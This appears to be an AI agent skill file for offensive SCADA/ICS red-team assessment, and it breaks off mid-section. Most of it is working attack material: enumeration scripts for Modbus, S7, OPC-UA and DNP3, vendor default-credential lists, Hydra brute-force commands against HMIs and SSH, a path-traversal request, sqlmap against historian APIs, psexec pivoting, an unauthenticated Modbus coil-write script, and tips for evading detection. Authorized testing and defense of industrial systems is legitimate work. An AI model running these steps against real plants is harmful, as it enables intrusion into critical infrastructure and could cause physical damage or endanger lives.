---
name: rt-exploit-scada
description: "SCADA/ICS industrial control system security assessment skill. Modbus protocol testing, DNP3 reconnaissance, Siemens S7 communication testing, OPC-UA endpoint enumeration, HMI web interface exploitation, historian database access, default credential testing on PLCs and RTUs, and network segmentation verification. Requires extreme caution — covers safety considerations."
---

# rt-exploit-scada — SCADA/ICS Security Assessment Skill

## CRITICAL SAFETY NOTICE

SCADA and ICS environments control physical processes: power grids, water treatment, oil and gas pipelines, manufacturing lines, and critical infrastructure. Mistakes can cause physical harm, equipment damage, environmental incidents, or loss of life. **Never run active exploits, write commands, or cause state changes on production systems without explicit written authorization from the asset owner, a safety officer sign-off, and an agreed rollback plan.** This skill is for authorized red team engagements only.

---

## 1. Overview and When to Use

This skill covers offensive security assessment of industrial control system (ICS) and SCADA environments. It maps to MITRE ATT&CK for ICS (https://attack.mitre.org/matrices/ics/) and is applicable during:

- Authorized red team engagements where OT/ICS scope is explicitly in the Rules of Engagement (ROE)
- Purple team exercises with ICS blue team participation
- Segmentation verification and compliance testing (NERC CIP, IEC 62443, NIST SP 800-82)
- Vulnerability assessments of isolated lab or test environments that mirror production

**Protocols and systems covered:**
- Modbus TCP/RTU (port 502)
- DNP3 (port 20000)
- Siemens S7 (port 102, ISO-TSAP)
- OPC-UA (port 4840)
- EtherNet/IP / CIP (port 44818)
- IEC 60870-5-104 (port 2404)
- BACnet (UDP port 47808)
- HMI web interfaces (HTTP/HTTPS, vendor-specific ports)
- Historian databases (OSIsoft PI, GE Proficy, Wonderware)
- Engineering workstations and jump hosts

---

## 2. Prerequisites and Tool Setup

### 2.1 Authorization Checklist (Complete Before Any Action)

- [ ] Signed Rules of Engagement document includes OT/ICS scope
- [ ] Asset owner and plant manager written approval obtained
- [ ] Safety officer briefed and on-call during testing window
- [ ] Maintenance window confirmed with operations staff
- [ ] Out-of-band emergency communication channel established
- [ ] Rollback and emergency stop procedures documented
- [ ] Testing laptop is air-gapped from corporate network
- [ ] Physical site access badge obtained if on-site

### 2.2 Platform Requirements

- OS: Kali Linux 2024.x (recommended) or Ubuntu 22.04 LTS
- Network: Dedicated NIC for OT network — never share with IT network during testing
- Hardware: Laptop with serial ports or USB-to-RS485/RS232 adapter for serial protocols

### 2.3 Tool Installation

```bash
# Update base system
sudo apt update && sudo apt upgrade -y

# Core ICS/SCADA tools from Kali repositories
sudo apt install -y \
  nmap \
  wireshark \
  tshark \
  metasploit-framework \
  python3-pip \
  python3-venv \
  git \
  curl \
  netcat-traditional \
  socat \
  hydra \
  medusa \
  snmp \
  snmpwalk \
  onesixtyone

# Python virtual environment for ICS libraries
python3 -m venv ~/ics-env
source ~/ics-env/bin/activate

# pymodbus — Modbus TCP/RTU client
pip install pymodbus

# python-snap7 — Siemens S7 communication
pip install python-snap7
sudo apt install -y libsnap7-1 libsnap7-dev

# opcua-asyncio — OPC-UA client
pip install asyncua

# dnp3 libraries
pip install pydnp3

# scapy for packet crafting
pip install scapy

# ISF — Industrial Security Framework (Metasploit-like for ICS)
cd /opt
sudo git clone https://github.com/w3h/isf.git
cd isf && sudo pip3 install -r requirements.txt

# PLCscan
sudo git clone https://github.com/meeas/plcscan.git /opt/plcscan

# s7scan — Siemens S7 scanner
sudo git clone https://github.com/klsecservices/s7scan.git /opt/s7scan
cd /opt/s7scan && pip install -r requirements.txt

# Redpoint — ICS/SCADA Nmap NSE scripts
sudo git clone https://github.com/digitalbond/Redpoint.git /opt/redpoint
sudo cp /opt/redpoint/*.nse /usr/share/nmap/scripts/
sudo nmap --script-updatedb

# ModbusPal (Java-based Modbus simulator — for lab testing)
sudo apt install -y default-jre
wget -O /opt/modbuspal.jar https://sourceforge.net/projects/modbuspal/files/latest/download

# EtherScan for EtherNet/IP
sudo git clone https://github.com/arnaudsoullie/ics-default-credentials.git /opt/ics-creds

# Claroty / Dragos open source enumeration tools
pip install cpppo  # EtherNet/IP / CIP

# OPC-UA tools
sudo apt install -y opcua-tools 2>/dev/null || pip install opcua-client

# BACpypes for BACnet
pip install bacpypes3

# ncrack for credential testing
sudo apt install -y ncrack

# enum4linux / smbclient for HMI workstations
sudo apt install -y enum4linux smbclient

# SQLmap for historian web interfaces
sudo apt install -y sqlmap

# Verify Metasploit ICS modules
msfconsole -q -x "search type:auxiliary platform:scada; exit"
```

### 2.4 Nmap Script Database Update

```bash
sudo nmap --script-updatedb
# Verify ICS scripts are present
ls /usr/share/nmap/scripts/ | grep -E "modbus|s7|dnp3|bacnet|enip|pcworx|codesys"
```

---

## 3. Skill Levels

### BEGINNER — Passive Enumeration and Identification

Focus: Understand the environment, identify assets, do not send commands. All actions read-only.

**Techniques:**
- Passive network capture and protocol identification
- Banner grabbing with Nmap
- SNMP enumeration of network devices
- Web interface discovery
- Default credential database lookup

### INTERMEDIATE — Active Protocol Interrogation

Focus: Send read requests using industrial protocols. Query device identity, configuration, and data registers. No write operations.

**Techniques:**
- Modbus register reading
- S7 CPU information extraction
- OPC-UA namespace browsing
- DNP3 data link layer scanning
- EtherNet/IP device identity query
- Historian database unauthenticated queries

### ADVANCED — Credential Testing and Vulnerability Exploitation

Focus: Attempt authentication with default and weak credentials. Test known CVEs on engineering software and HMI interfaces. Exploit historian web services.

**Techniques:**
- Default credential spraying against PLCs, RTUs, and HMIs
- CVE exploitation of HMI web interfaces (authenticated and unauthenticated)
- Siemens S7 unauthorized command execution (read-only coils/registers only in production)
- OPC-UA authentication bypass
- SQL injection in historian web APIs
- Pass-the-hash on Windows engineering workstations

### EXPERT — Lateral Movement, Safety System Assessment, and Impact Demonstration

Focus: Demonstrate realistic attack chains from IT/OT boundary to field device. Safety system testing only in isolated lab environments.

**Techniques:**
- IT to OT pivot via DMZ historian
- Engineering workstation compromise and malware implant simulation
- Logic bomb simulation in lab PLC (non-production only)
- MITM between HMI and PLC using ARP poisoning
- Replay attacks on unencrypted industrial protocols
- Safety Instrumented System (SIS) network reachability verification
- Firmware extraction from field devices

---

## 4. Step-by-Step Attack Workflow

### Phase 0: Pre-Engagement Setup

```bash
# Create engagement directory structure
mkdir -p ~/engagements/$(date +%Y%m%d)-scada-assessment/{recon,scan,exploit,evidence,report}
cd ~/engagements/$(date +%Y%m%d)-scada-assessment

# Set target scope variables
export OT_NETWORK="192.168.100.0/24"     # Replace with actual OT subnet
export HMI_HOST="192.168.100.10"
export HISTORIAN_HOST="192.168.100.20"
export PLC_HOST="192.168.100.30"
export ATTACKER_IP="192.168.100.99"
export ENGAGEMENT_ID="SCADA-2024-001"

# Start packet capture immediately — capture everything
sudo tshark -i eth1 -w recon/full-capture-$(date +%H%M%S).pcap &
CAPTURE_PID=$!
echo "Capture PID: $CAPTURE_PID"
```

### Phase 1: Passive Reconnaissance

**Step 1 — Passive protocol identification from network capture**

```bash
# Let Wireshark/tshark identify ICS protocols passively (5-10 minutes)
sudo tshark -i eth1 -Y "modbus or dnp3 or s7comm or opcua or enip or bacnet or mms" \
  -T fields \
  -e ip.src -e ip.dst -e _ws.col.Protocol -e tcp.dstport \
  2>/dev/null | sort -u | tee recon/passive-protocols.txt

# Identify active hosts from captured traffic (no packets sent by us)
sudo tshark -r recon/full-capture-*.pcap \
  -T fields -e ip.src -e ip.dst 2>/dev/null \
  | tr '\t' '\n' | sort -u | grep -E "^192\.168\." \
  > recon/live-hosts-passive.txt

cat recon/live-hosts-passive.txt
```

**Step 2 — SNMP enumeration of network infrastructure**

```bash
# Sweep for SNMP community strings
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt $OT_NETWORK \
  | tee recon/snmp-communities.txt

# Enumerate with found community strings
for host in $(cut -d' ' -f1 recon/snmp-communities.txt); do
  community=$(grep "^$host" recon/snmp-communities.txt | awk '{print $3}')
  echo "=== $host ($community) ===" | tee -a recon/snmp-enum.txt
  snmpwalk -v2c -c "$community" "$host" system 2>/dev/null \
    | tee -a recon/snmp-enum.txt
done
```

### Phase 2: Active Network Scanning (Low and Slow)

**Step 3 — ICS-aware Nmap scan with rate limiting**

```bash
# IMPORTANT: Use -T2 or slower in OT environments — never -T4 or -T5
# Some PLCs and RTUs crash under port scan load

# Phase 2a: Host discovery only (ICMP + ARP)
sudo nmap -sn -PR -PE --reason \
  --min-rate 5 --max-rate 20 \
  $OT_NETWORK \
  -oA scan/host-discovery \
  | tee scan/live-hosts.txt

# Phase 2b: ICS port scan on discovered hosts only
LIVE_HOSTS=$(grep "Nmap scan report" scan/host-discovery.nmap | awk '{print $NF}')

sudo nmap -sS -sU \
  -p 21,22,23,80,102,443,502,1089,1090,1091,2222,2404,4000,4840,20000,44818,47808 \
  --open \
  --min-rate 5 --max-rate 15 \
  -T2 \
  -oA scan/ics-ports \
  $LIVE_HOSTS \
  | tee scan/port-scan-results.txt

# Phase 2c: ICS NSE scripts for identified hosts
sudo nmap -sV \
  --script modbus-discover,s7-info,dnp3-info,bacnet-info,enip-info,pcworx-info,codesys-v2-login,omron-info \
  --script-args modbus-discover.aggressive=true \
  -p 502,102,20000,47808,44818,1962 \
  -T2 \
  --min-rate 5 \
  -oA scan/ics-scripts \
  $LIVE_HOSTS \
  | tee scan/ics-banner.txt
```

**Step 4 — Web interface discovery**

```bash
# Identify HTTP/HTTPS services on non-standard ports common to HMIs
sudo nmap -sV \
  -p 80,443,8080,8443,8888,9090,4321,7070,18080,4002,8008 \
  --open -T2 \
  $LIVE_HOSTS \
  -oA scan/web-services \
  | tee scan/web-ports.txt

# Grab banners from web services
for host in $LIVE_HOSTS; do
  for port in 80 443 8080 8443; do
    banner=$(curl -sk --max-time 5 -o /dev/null -w "%{http_code} %{url_effective}" \
      http://$host:$port/ 2>/dev/null)
    if [ -n "$banner" ]; then
      echo "$host:$port => $banner" | tee -a scan/web-banners.txt
      curl -sk --max-time 5 -D - http://$host:$port/ \
        | grep -Ei "server:|x-powered-by:|www-authenticate:|set-cookie:" \
        | tee -a scan/web-banners.txt
    fi
  done
done
```

### Phase 3: Protocol-Level Enumeration (INTERMEDIATE)

**Step 5 — Modbus register reading**

```bash
source ~/ics-env/bin/activate

# Modbus device identification and register enumeration
cat > /tmp/modbus_enum.py << 'EOF'
#!/usr/bin/env python3
"""Modbus TCP enumeration script — read-only operations."""
import sys
from pymodbus.client import ModbusTcpClient
from pymodbus.exceptions import ModbusException

target = sys.argv[1] if len(sys.argv) > 1 else "192.168.100.30"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 502

print(f"[*] Connecting to {target}:{port}")
client = ModbusTcpClient(target, port=port, timeout=5)

if not client.connect():
    print("[-] Connection failed")
    sys.exit(1)

print("[+] Connected")

# Try unit IDs 0-10 (slave addresses)
for unit_id in range(0, 11):
    # Read coils (0x01) — digital outputs
    try:
        result = client.read_coils(0, count=10, slave=unit_id)
        if not result.isError():
            print(f"  Unit {unit_id} | Coils[0-9]: {result.bits[:10]}")
    except Exception:
        pass

    # Read discrete inputs (0x02) — digital inputs
    try:
        result = client.read_discrete_inputs(0, count=10, slave=unit_id)
        if not result.isError():
            print(f"  Unit {unit_id} | Discrete Inputs[0-9]: {result.bits[:10]}")
    except Exception:
        pass

    # Read holding registers (0x03) — configuration/setpoints
    try:
        result = client.read_holding_registers(0, count=20, slave=unit_id)
        if not result.isError():
            print(f"  Unit {unit_id} | Holding Regs[0-19]: {result.registers}")
    except Exception:
        pass

    # Read input registers (0x04) — analog inputs
    try:
        result = client.read_input_registers(0, count=20, slave=unit_id)
        if not result.isError():
            print(f"  Unit {unit_id} | Input Regs[0-19]: {result.registers}")
    except Exception:
        pass

client.close()
print("[*] Done")
EOF

python3 /tmp/modbus_enum.py $PLC_HOST 502 | tee scan/modbus-enum.txt
```

**Step 6 — Siemens S7 CPU information extraction**

```bash
cat > /tmp/s7_enum.py << 'EOF'
#!/usr/bin/env python3
"""S7comm enumeration — CPU info, module list, block inventory."""
import snap7
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "192.168.100.30"
rack = int(sys.argv[2]) if len(sys.argv) > 2 else 0
slot = int(sys.argv[3]) if len(sys.argv) > 3 else 1

client = snap7.client.Client()
print(f"[*] Connecting to S7 PLC at {target} rack={rack} slot={slot}")

try:
    client.connect(target, rack, slot)
    print("[+] Connected")

    # CPU info
    cpu_info = client.get_cpu_info()
    print(f"[+] Module type   : {cpu_info.ModuleTypeName.decode().strip()}")
    print(f"[+] Serial number : {cpu_info.SerialNumber.decode().strip()}")
    print(f"[+] AS name       : {cpu_info.ASName.decode().strip()}")
    print(f"[+] Module name   : {cpu_info.ModuleName.decode().strip()}")
    print(f"[+] Copyright     : {cpu_info.Copyright.decode().strip()}")

    # CPU state
    state = client.get_cpu_state()
    states = {0: "UNKNOWN", 4: "STOP", 8: "RUN"}
    print(f"[+] CPU state     : {states.get(state, str(state))}")

    # Order code
    order_code = client.get_order_code()
    print(f"[+] Order code    : {order_code.Code.decode().strip()}")
    print(f"[+] Version       : {order_code.V1}.{order_code.V2}.{order_code.V3}")

    # List data blocks
    print("\n[*] Data blocks:")
    for block_type in [snap7.types.Block.DB, snap7.types.Block.FB, snap7.types.Block.FC]:
        try:
            blocks = client.list_blocks_of_type(block_type, 0xFFFF)
            if blocks:
                print(f"  {block_type.name}: {list(blocks)}")
        except Exception as e:
            print(f"  {block_type.name}: error - {e}")

    client.disconnect()
except Exception as e:
    print(f"[-] Error: {e}")
EOF

python3 /tmp/s7_enum.py $PLC_HOST 0 1 | tee scan/s7-enum.txt

# Alternative: use s7scan
python3 /opt/s7scan/s7scan.py -t $PLC_HOST | tee scan/s7scan-output.txt

# Nmap S7 script
sudo nmap -p 102 --script s7-info $PLC_HOST | tee scan/nmap-s7.txt
```

**Step 7 — OPC-UA endpoint enumeration**

```bash
cat > /tmp/opcua_enum.py << 'EOF'
#!/usr/bin/env python3
"""OPC-UA server enumeration — browse namespace without authentication."""
import asyncio
import sys
from asyncua import Client

async def browse_opcua(url):
    print(f"[*] Connecting to OPC-UA: {url}")
    try:
        async with Client(url=url, timeout=10) as client:
            print(f"[+] Connected")
            print(f"[+] Server namespace array:")
            ns_array = await client.get_namespace_array()
            for i, ns in enumerate(ns_array):
                print(f"    [{i}] {ns}")

            # Browse root
            root = client.nodes.root
            print("\n[+] Root node children:")
            children = await root.get_children()
            for child in children:
                name = await child.read_browse_name()
                print(f"    {name.Name} (NodeId: {child.nodeid})")

            # Browse Objects
            objects = client.nodes.objects
            print("\n[+] Objects:")
            obj_children = await objects.get_children()
            for child in obj_children[:20]:  # Limit to first 20
                try:
                    name = await child.read_browse_name()
                    props = await child.get_children()
                    print(f"    {name.Name} ({len(props)} children)")
                except Exception:
                    pass
    except Exception as e:
        print(f"[-] Error: {e}")

target_url = sys.argv[1] if len(sys.argv) > 1 else "opc.tcp://192.168.100.10:4840"
asyncio.run(browse_opcua(target_url))
EOF

python3 /tmp/opcua_enum.py "opc.tcp://$HMI_HOST:4840" | tee scan/opcua-enum.txt

# Check for anonymous access (no authentication required)
python3 -c "
import asyncio
from asyncua import Client
async def check():
    client = Client(url='opc.tcp://$HMI_HOST:4840', timeout=10)
    client.set_user('')  # empty = anonymous
    client.set_password('')
    try:
        await client.connect()
        print('[FINDING] Anonymous OPC-UA access allowed!')
        await client.disconnect()
    except Exception as e:
        print(f'Anonymous access denied: {e}')
asyncio.run(check())
" | tee -a scan/opcua-enum.txt
```

**Step 8 — DNP3 reconnaissance**

```bash
# Nmap DNP3 scan
sudo nmap -p 20000 --script dnp3-info $OT_NETWORK --open -T2 \
  | tee scan/dnp3-scan.txt

# Manual DNP3 data link layer broadcast
cat > /tmp/dnp3_scan.py << 'EOF'
#!/usr/bin/env python3
"""DNP3 link layer test — send data link request broadcast."""
import socket
import struct
import sys

# DNP3 data link frame: link status request (broadcast to address 0xFFFF)
# Start bytes 0x0564, length, control, destination, source
def build_dnp3_request(src_addr=3, dst_addr=0xFFFF):
    start = b'\x05\x64'
    length = 5  # control(1) + dst(2) + src(2)
    ctrl = 0x44  # PRM=1, FCB=0, FCV=0, FC=4 (LINK_STATUS)
    frame = struct.pack('<BBHH', length, ctrl, dst_addr, src_addr)
    # CRC calculation omitted for brevity — use scapy for production
    return start + frame

target = sys.argv[1] if len(sys.argv) > 1 else "192.168.100.30"
port = 20000

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
try:
    sock.connect((target, port))
    print(f"[+] DNP3 TCP port {port} open on {target}")
    sock.send(build_dnp3_request())
    resp = sock.recv(256)
    print(f"[+] Response ({len(resp)} bytes): {resp.hex()}")
except Exception as e:
    print(f"[-] {e}")
finally:
    sock.close()
EOF

python3 /tmp/dnp3_scan.py $PLC_HOST | tee scan/dnp3-manual.txt
```

**Step 9 — EtherNet/IP CIP enumeration**

```bash
# Nmap EtherNet/IP scan
sudo nmap -p 44818 --script enip-info $OT_NETWORK --open -T2 \
  | tee scan/enip-scan.txt

# cpppo EtherNet/IP client
source ~/ics-env/bin/activate
python3 -m cpppo.server.enip.client --print -a $PLC_HOST \
  '@1/1/1' '@1/1/2' '@1/1/3' '@1/1/4' '@1/1/5' '@1/1/7' \
  2>/dev/null | tee scan/enip-cip-identity.txt

# Alternative: use plcscan
python3 /opt/plcscan/plcscan.py $PLC_HOST | tee scan/plcscan-output.txt
```

### Phase 4: Default Credential Testing (ADVANCED)

**Step 10 — Compile default credential list**

```bash
# Build vendor-specific default credential list
cat > /tmp/ics-defaults.txt << 'EOF'
# Format: service:host:port:user:pass
# Siemens
https:HMI_HOST:443:admin:admin
https:HMI_HOST:443:administrator:administrator
https:HMI_HOST:443:user:user
https:HMI_HOST:443:siemens:siemens
# Rockwell / Allen Bradley
http:HMI_HOST:80:1:1
http:HMI_HOST:80:administrator:1234
# Schneider Electric
http:HMI_HOST:80:USER:USER
http:HMI_HOST:80:ADMIN:ADMIN
http:HMI_HOST:80:OPERATOR:
# GE / Emerson
http:HMI_HOST:80:admin:admin
http:HMI_HOST:80:operator:operator
# Honeywell
http:HMI_HOST:443:admin:password
# ABB
http:HMI_HOST:80:admin:admin
http:HMI_HOST:80:guest:guest
EOF

# Reference the ICS default credential database
ls /opt/ics-creds/
cat /opt/ics-creds/ics-default-credentials.csv 2>/dev/null | head -50
```

**Step 11 — HTTP/HTTPS default credential testing against HMI**

```bash
# Identify login form structure first
curl -sk $HMI_HOST | grep -iE "form|input|login|auth" | head -20

# Hydra HTTP form attack — adjust form parameters for target HMI
hydra -L /tmp/ics-users.txt -P /tmp/ics-passes.txt \
  $HMI_HOST \
  http-post-form \
  "/login:username=^USER^&password=^PASS^:F=Invalid credentials" \
  -t 4 -w 30 -vV \
  | tee exploit/hydra-hmi.txt

# For basic auth HMIs
hydra -L /tmp/ics-users.txt -P /tmp/ics-passes.txt \
  -s 80 $HMI_HOST \
  http-get /index.html \
  -t 4 -w 30 \
  | tee exploit/hydra-basicauth.txt

# For SSH on engineering workstations
hydra -L /tmp/ics-users.txt -P /tmp/ics-passes.txt \
  ssh://$HMI_HOST \
  -t 4 -w 30 \
  | tee exploit/hydra-ssh.txt
```

**Step 12 — Historian database default credential testing**

```bash
# OSIsoft PI System default credentials
# PI Data Archive default: PIAdmin / (blank)
# PI Vision web: varies by deployment

# Test PI Web API (REST interface)
curl -sk -u "PIAdmin:" https://$HISTORIAN_HOST/piwebapi/system \
  | python3 -m json.tool 2>/dev/null \
  | tee exploit/pi-webapi-test.txt

# GE Proficy Historian (iFIX) — check unauthenticated access
curl -sk http://$HISTORIAN_HOST:8778/ | tee exploit/proficy-banner.txt

# Wonderware System Platform / InTouch
curl -sk http://$HISTORIAN_HOST/ | tee exploit/wonderware-banner.txt

# SQL Server (common historian backend) — default SA
nmap -p 1433 --script ms-sql-info,ms-sql-empty-password \
  $HISTORIAN_HOST \
  | tee exploit/mssql-test.txt

# If SQL Server found with empty SA:
# mssqlclient.py sa:@$HISTORIAN_HOST (impacket — read-only queries only)
```

**Step 13 — CVE testing on HMI web interfaces**

```bash
# Check for common ICS CVEs
# CVE-2022-37300 — Aveva InTouch Access Anywhere path traversal
curl -sk "http://$HMI_HOST/AccessAnywhere/..%2F..%2F..%2Fetc%2Fpasswd" \
  | tee exploit/cve-2022-37300.txt

# CVE-2023-29177 — Siemens SINEMA Remote Connect unauthenticated RCE
# Test fingerprint only — do not exploit in production
curl -sk -I "https://$HMI_HOST/sinema/" | tee exploit/sinema-banner.txt

# Searchsploit for identified vendor/version
searchsploit siemens wincc | tee exploit/searchsploit-results.txt
searchsploit scada historian | tee -a exploit/searchsploit-results.txt

# Metasploit ICS modules
msfconsole -q << 'MSEOF'
search type:auxiliary platform:scada
search type:exploit name:scada
search wincc
search modbus
exit
MSEOF
```

### Phase 5: Network Segmentation Verification (ADVANCED)

**Step 14 — Verify IT/OT boundary controls**

```bash
# From OT network — attempt to reach IT resources (should be blocked)
echo "=== Testing OT to IT connectivity ===" | tee exploit/segmentation.txt

# Attempt DNS resolution to internet
nslookup google.com | tee -a exploit/segmentation.txt

# Attempt internet connectivity
curl -sk --max-time 5 http://www.google.com | \
  grep -c "html" | \
  xargs -I{} echo "Internet HTTP reachable: {}" \
  | tee -a exploit/segmentation.txt

# Attempt to reach corporate IT subnet
ping -c 3 -W 2 10.0.0.1 2>&1 | tee -a exploit/segmentation.txt

# Check if historian is reachable from both IT and OT (dual-homed)
ip route show | tee -a exploit/segmentation.txt
ip addr show | tee -a exploit/segmentation.txt

# Port scan the DMZ/historian from OT side
sudo nmap -sS -p 1-1024 $HISTORIAN_HOST --open -T2 \
  | tee -a exploit/segmentation.txt

# From corporate IT (separate terminal) — attempt to reach PLC directly
# This command is run from IT-side attacker host:
# sudo nmap -sS -p 502,102 $PLC_HOST --open -T2 | tee segmentation-it-to-ot.txt
```

### Phase 6: HMI Web Interface Exploitation (ADVANCED)

**Step 15 — Authenticated HMI post-login assessment**

```bash
# After obtaining credentials, assess what can be accessed
# Capture session cookie
SESSION=$(curl -sk -c /tmp/hmi-cookie.txt \
  -d "username=admin&password=admin" \
  -L http://$HMI_HOST/login \
  | grep -i "session\|token" | head -5)

# Browse authenticated pages
curl -sk -b /tmp/hmi-cookie.txt http://$HMI_HOST/api/tags \
  | python3 -m json.tool 2>/dev/null | tee exploit/hmi-tags.txt

curl -sk -b /tmp/hmi-cookie.txt http://$HMI_HOST/api/alarms \
  | python3 -m json.tool 2>/dev/null | tee exploit/hmi-alarms.txt

curl -sk -b /tmp/hmi-cookie.txt http://$HMI_HOST/api/trends \
  | python3 -m json.tool 2>/dev/null | tee exploit/hmi-trends.txt

# Test for IDOR — change user ID in API calls
curl -sk -b /tmp/hmi-cookie.txt http://$HMI_HOST/api/users/1 | tee exploit/hmi-idor.txt
curl -sk -b /tmp/hmi-cookie.txt http://$HMI_HOST/api/users/2 | tee -a exploit/hmi-idor.txt

# Test for SQLi in historian query API
sqlmap -u "http://$HMI_HOST/api/historical?tag=PUMP_01&start=2024-01-01" \
  --cookie="$(cat /tmp/hmi-cookie.txt | tail -1 | awk '{print $6"="$7}')" \
  --level=2 --risk=1 --batch \
  | tee exploit/sqlmap-historian.txt
```

---

## 5. Real Attack Scenarios

### Scenario A: IT Foothold to PLC Access via Dual-Homed Historian

**Objective:** Demonstrate that an attacker who compromises an IT workstation can reach OT PLCs through a poorly segmented historian server.

**Assumed Start State:** Shell on IT workstation (192.168.1.50), credentials for historian web portal obtained via phishing simulation.

```bash
# Step 1: From IT workstation — identify historian (dual-homed)
# Historian has 192.168.1.20 (IT NIC) and 192.168.100.20 (OT NIC)

# Step 2: Enumerate historian from IT side
curl -sk http://192.168.1.20:8778/historian/api/tags \
  | python3 -m json.tool | head -50

# Step 3: Check if historian has OT reachability
# Upload a simple pivot script or use existing tools on historian
# (Red team simulation: if historian is Windows, use WMI/SMB lateral movement)
# impacket-psexec domain/historian-admin:Password1@192.168.1.20
# (Once on historian) — run from historian host:
# nmap -sn 192.168.100.0/24 --min-rate 5 -T1

# Step 4: From historian pivot — reach PLC
# (All further commands executed on historian machine)
python3 /tmp/modbus_enum.py 192.168.100.30 502

# Step 5: Document the full chain
echo "Attack chain: IT Workstation -> Historian (dual-homed) -> PLC Modbus" \
  | tee exploit/scenario-a-chain.txt

# Evidence: screenshot of Modbus register values read from OT PLC
# reached via IT network without crossing any enforced segmentation
```

**Impact:** Demonstrates flat or insufficiently segmented OT network. Attacker can read process values and (in non-production test) demonstrate ability to write setpoints, which could cause physical process deviation.

---

### Scenario B: Default Credentials on HMI — Process View Access and Alarm Suppression

**Objective:** Demonstrate that default credentials on HMI provide access to process visualization, alarm management, and tag write capability.

**Assumed Start State:** Network access to OT DMZ subnet (192.168.200.0/24).

```bash
# Step 1: Discover HMI web interface
sudo nmap -p 80,443,8080,8443 192.168.200.0/24 --open -T2 -sV \
  | grep -E "open|http" | tee exploit/scenario-b-hmi-discovery.txt

HMI="192.168.200.10"

# Step 2: Identify vendor from banner
curl -sk -I http://$HMI/ | grep -iE "server:|x-powered-by:|via:|siemens|wonderware|aveva|ge"

# Step 3: Try default credentials (Siemens WinCC example)
for cred in "admin:admin" "administrator:administrator" "user:user" "wcc:wcc"; do
  USER=$(echo $cred | cut -d: -f1)
  PASS=$(echo $cred | cut -d: -f2)
  RESULT=$(curl -sk -o /dev/null -w "%{http_code}" \
    -d "j_username=$USER&j_password=$PASS&submit=Login" \
    http://$HMI/J_SPRING_SECURITY_CHECK)
  echo "$USER:$PASS => HTTP $RESULT" | tee -a exploit/scenario-b-creds.txt
done

# Step 4: With valid session — access process view
curl -sk -b /tmp/hmi-cookie.txt http://$HMI/runtime/api/v1/tags \
  | python3 -m json.tool | tee exploit/scenario-b-tags.txt

# Step 5: Demonstrate alarm suppression capability (READ ONLY — document the endpoint)
# In production: only document that the endpoint exists and accepts writes
# DO NOT send write commands
curl -sk -b /tmp/hmi-cookie.txt \
  http://$HMI/runtime/api/v1/alarms \
  | python3 -m json.tool | tee exploit/scenario-b-alarms.txt

echo "[FINDING] Alarm suppression API endpoint identified at /runtime/api/v1/alarms/acknowledge" \
  | tee -a exploit/scenario-b-alarms.txt
echo "[IMPACT] Attacker can suppress safety alarms preventing operator awareness of process deviations" \
  | tee -a exploit/scenario-b-alarms.txt
```

**Impact:** Default credentials provide read/write access to process data. Alarm suppression capability means an attacker could hide malicious process changes from operators.

---

### Scenario C: Unauthenticated Modbus Write to Demonstrate Physical Impact (Lab Only)

**Objective:** In a controlled lab environment with a test PLC, demonstrate the ease of Modbus coil/register write with no authentication.

**CRITICAL: This scenario is ONLY for isolated lab PLCs. Never execute against production systems.**

```bash
# Lab environment only — test PLC IP
LAB_PLC="10.10.10.100"

source ~/ics-env/bin/activate

cat > /tmp/modbus_write_demo.py << 'EOF'
#!/usr/bin/env python3
"""
LAB ONLY — Modbus write demonstration.
Modbus has ZERO authentication by default.
This demonstrates CVE-1999-0502 (Modbus no authentication).
"""
import sys
from pymodbus.client import ModbusTcpClient

target = sys.argv[1]
client = ModbusTcpClient(target, port=502, timeout=5)

if not client.connect():
    print("[-] Cannot connect")
    sys.exit(1)

print(f"[+] Connected to {target}:502")
print("[*] Reading coil 0 (current state)...")
result = client.read_coils(0, count=1, slave=1)
print(f"    Coil 0 state: {result.bits[0]}")

print("[*] Writing True to coil 0 (no authentication required)...")
write_result = client.write_coil(0, True, slave=1)
print(f"    Write result: {write_result}")

result = client.read_coils(0, count=1, slave=1)
print(f"    Coil 0 state after write: {result.bits[0]}")

print("[!] FINDING: Modbus write succeeded with NO authentication.")
print("[!] In production: this coil could control a pump, valve, or actuator.")
client.close()
EOF

# Run against lab PLC only
python3 /tmp/modbus_write_demo.py $LAB_PLC | tee exploit/scenario-c-modbus-write.txt
```

**Impact:** Modbus protocol has no native authentication. Any host with network access to port 502 can read and write process variables, setpoints, and discrete outputs — directly controlling physical actuators.

---

## 6. OPSEC Considerations

### Detection Risks

| Activity | Detection Vector | Risk Level |
|---|---|---|
| Port scanning at default Nmap rate | PLC/RTU watchdog timeout, IDS/IPS | CRITICAL — can crash devices |
| Modbus function code 0x08 (diagnostics) | Application logs, anomaly detection | MEDIUM |
| S7comm connect/disconnect cycles | Siemens diagnostic buffer | MEDIUM |
| OPC-UA anonymous browse | OPC-UA server audit log | LOW |
| HTTP default credential attempts | Web server access log, WAF | MEDIUM |
| ARP scanning | Network TAP/SPAN monitoring | LOW |
| SQL injection testing | WAF, database audit log | HIGH |

### Mitigation Strategies (to Avoid Unintended Disruption)

1. **Always throttle scan rates**: Use `--min-rate 5 --max-rate 15` for Nmap. Never use `-T4` or `-T5` in OT.
2. **Avoid function codes 0x05 (Write Single Coil) and 0x06 (Write Single Register)** in Modbus unless in lab.
3. **Use read-only S7 functions**: `client.read_area()` — avoid `client.write_area()`.
4. **Coordinate scan windows**: Agree on a 2-hour maintenance window when operators are on-site and processes are at minimum load.
5. **Have emergency stop contacts**: Know the plant manager's direct phone. If a device becomes unresponsive, escalate immediately.
6. **Avoid UDP flooding**: BACnet and DNP3 use UDP — sending too many packets can saturate OT network switches.
7. **No parallel scanning**: Run one host at a time. ICS networks often have 10 Mbps hubs, not gigabit switches.
8. **Avoid retransmission storms**: Set timeouts generously (5-10 seconds). Do not retry aggressively.
9. **Document every packet sent**: Capture is mandatory. If an incident occurs, you need to prove which traffic was yours.
10. **Do not leave sessions open**: Close Modbus/S7/OPC-UA connections when done. Open connections can consume limited PLC connection slots.

### Blending In (If Authorized Adversary Simulation)

- Use IP addresses in the same range as legitimate engineering workstations
- Mirror normal Modbus polling patterns (reads at 1-second intervals, same register ranges)
- Copy legitimate HMI User-Agent strings for web requests
- Schedule active scans during normal maintenance periods

---

## 7. Output and Documentation Instructions

### Evidence Collection Standards

```bash
# Screenshot HMI dashboards (if on-site or using VNC/RDP)
import -window root exploit/hmi-screenshot-$(date +%H%M%S).png 2>/dev/null

# Export all scan data
